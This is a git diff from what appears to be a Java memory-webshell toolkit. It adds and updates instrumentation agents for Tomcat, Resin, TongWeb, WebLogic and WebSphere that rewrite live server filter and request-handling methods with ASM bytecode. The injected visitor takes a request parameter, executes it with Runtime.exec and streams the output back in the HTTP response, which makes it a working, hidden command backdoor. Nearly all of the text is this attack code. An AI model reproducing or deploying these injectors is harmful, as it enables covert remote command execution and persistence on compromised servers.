a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java @@ -20,7 +20,7 @@ public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransforme static { try { Class clazz = Class.forName(getClassName()); - constructor = clazz.getDeclaredConstructor(MethodVisitor.class); + constructor = clazz.getConstructors()[0]; constructor.setAccessible(true); } catch (Exception e) { e.printStackTrace(); @@ -64,7 +64,8 @@ public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransforme MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { try { - return (MethodVisitor) constructor.newInstance(mv); + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); } catch (Exception e) { e.printStackTrace(); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java index 14b62760..f0e7fe48 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java @@ -20,7 +20,7 @@ public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransfor static { try { Class clazz = Class.forName(getClassName()); - constructor = clazz.getDeclaredConstructor(MethodVisitor.class); + constructor = clazz.getConstructors()[0]; constructor.setAccessible(true); } catch (Exception e) { e.printStackTrace(); @@ -61,7 +61,8 @@ public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransfor MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { try { - return (MethodVisitor) constructor.newInstance(mv); + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); } catch (Exception e) { e.printStackTrace(); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java index 604b4f7b..9a1bc9b2 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java @@ -20,7 +20,7 @@ public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransform static { try { Class clazz = Class.forName(getClassName()); - constructor = clazz.getDeclaredConstructor(MethodVisitor.class); + constructor = clazz.getConstructors()[0]; constructor.setAccessible(true); } catch (Exception e) { e.printStackTrace(); @@ -64,7 +64,8 @@ public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransform MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { try { - return (MethodVisitor) constructor.newInstance(mv); + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); } catch (Exception e) { e.printStackTrace(); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java index 3bdc4313..5bb833c7 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java @@ -21,7 +21,7 @@ public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransfo static { try { Class clazz = Class.forName(getClassName()); - constructor = clazz.getDeclaredConstructor(MethodVisitor.class); + constructor = clazz.getConstructors()[0]; constructor.setAccessible(true); } catch (Exception e) { e.printStackTrace(); @@ -62,7 +62,8 @@ public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransfo MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { try { - return (MethodVisitor) constructor.newInstance(mv); + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); } catch (Exception e) { e.printStackTrace(); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java index 8d068b41..5d0300c1 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentWithAsmInjector.java @@ -21,7 +21,7 @@ public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransfor static { try { Class clazz = Class.forName(getClassName()); - constructor = clazz.getDeclaredConstructor(MethodVisitor.class); + constructor = clazz.getConstructors()[0]; constructor.setAccessible(true); } catch (Exception e) { e.printStackTrace(); @@ -65,7 +65,8 @@ public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransfor MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { try { - return (MethodVisitor) constructor.newInstance(mv); + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); } catch (Exception e) { e.printStackTrace(); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentWithAsmInjector.java new file mode 100644 index 00000000..00b0607f --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentWithAsmInjector.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.memshell.injector.weblogic; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class WebLogicServletContextAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "weblogic/servlet/internal/WebAppServletContext"; + private static final String TARGET_METHOD_NAME = "securedExecute"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getConstructors()[0]; + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public WebLogicServletContextAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new WebLogicServletContextAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentWithAsmInjector.java new file mode 100644 index 00000000..e21255c0 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentWithAsmInjector.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.memshell.injector.websphere; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class WebSphereFilterChainAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager"; + private static final String TARGET_METHOD_NAME = "doFilter"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getConstructors()[0]; + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public WebSphereFilterChainAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new WebSphereFilterChainAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java index b3e4baa8..f832149d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java @@ -11,17 +11,39 @@ import org.objectweb.asm.Type; */ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; - public CommandFilterChainAsmMethodVisitor(MethodVisitor mv) { + public CommandFilterChainAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) { super(Opcodes.ASM9, mv); + this.argumentTypes = argumentTypes; } @Override public void visitCode() { super.visitCode(); + + int startIndex = 1; + for (Type type : argumentTypes) { + startIndex += type.getSize(); + } + + // Explicitly define indices for all local variables + int paramNameIndex = startIndex; + int cmdIndex = startIndex + 1; + int processIndex = startIndex + 2; + int inputStreamIndex = startIndex + 3; + int outputStreamIndex = startIndex + 4; + int bufferIndex = startIndex + 5; + int lengthIndex = startIndex + 6; + int exceptionIndex = startIndex + 7; + + // Access method arguments - adjust based on whether method is static or not + int requestIndex = 1; // Arg index 1 + int responseIndex = 2; // Arg index 2 + // Define our parameter name mv.visitLdcInsn("paramName"); - mv.visitVarInsn(Opcodes.ASTORE, 3); // Store "paramName" in local var 3 + mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName" in local var 3 // Define labels for try-catch Label tryStart = new Label(); @@ -35,7 +57,7 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor { mv.visitLabel(tryStart); // Get the parameter from request: request.getParameter(paramName) - mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request (first param) + mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param) mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); mv.visitLdcInsn("getParameter"); @@ -49,39 +71,39 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor { "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); // Invoke the getParameter method - mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request object + mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object mv.visitInsn(Opcodes.ICONST_1); mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); mv.visitInsn(Opcodes.DUP); mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, 3); // Load paramName + mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName mv.visitInsn(Opcodes.AASTORE); mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, 4); // Store cmd in local var 4 + mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4 // Check if cmd is not null - mv.visitVarInsn(Opcodes.ALOAD, 4); + mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); Label ifNullLabel = new Label(); mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel); // Execute the command: Process exec = Runtime.getRuntime().exec(cmd); mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); - mv.visitVarInsn(Opcodes.ALOAD, 4); // Load cmd + mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); // Load cmd mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); - mv.visitVarInsn(Opcodes.ASTORE, 5); // Store Process in local var 5 + mv.visitVarInsn(Opcodes.ASTORE, processIndex); // Store Process in local var 5 // Get input stream: InputStream inputStream = exec.getInputStream(); - mv.visitVarInsn(Opcodes.ALOAD, 5); // Load Process + mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false); - mv.visitVarInsn(Opcodes.ASTORE, 6); // Store InputStream in local var 6 + mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream in local var 6 // Get response output stream - mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response (second param) + mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response (second param) mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); mv.visitLdcInsn("getOutputStream"); @@ -89,18 +111,18 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor { mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response + mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response mv.visitInsn(Opcodes.ICONST_0); mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream"); - mv.visitVarInsn(Opcodes.ASTORE, 7); // Store OutputStream in local var 7 + mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream in local var 7 // Create buffer: byte[] buf = new byte[8192]; mv.visitIntInsn(Opcodes.SIPUSH, 8192); mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE); - mv.visitVarInsn(Opcodes.ASTORE, 8); // Store byte[] in local var 8 + mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] in local var 8 // While loop to read and write data Label loopStart = new Label(); @@ -110,22 +132,22 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor { mv.visitLabel(loopStart); // Read data: inputStream.read(buf) - mv.visitVarInsn(Opcodes.ALOAD, 6); // Load inputStream - mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer + mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream + mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false); - mv.visitVarInsn(Opcodes.ISTORE, 9); // Store length in local var 9 + mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length in local var 9 // Check if length == -1 - mv.visitVarInsn(Opcodes.ILOAD, 9); + mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); mv.visitInsn(Opcodes.ICONST_M1); mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd); // Write data: outputStream.write(buf, 0, length) - mv.visitVarInsn(Opcodes.ALOAD, 7); // Load outputStream - mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer + mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream + mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ILOAD, 9); // Load length + mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false); @@ -151,7 +173,7 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor { // Start of catch block mv.visitLabel(catchHandler); // The exception is now on the stack - mv.visitVarInsn(Opcodes.ASTORE, 10); // Store exception in local var 10 and discard it + mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it // End of catch block mv.visitLabel(afterCatch);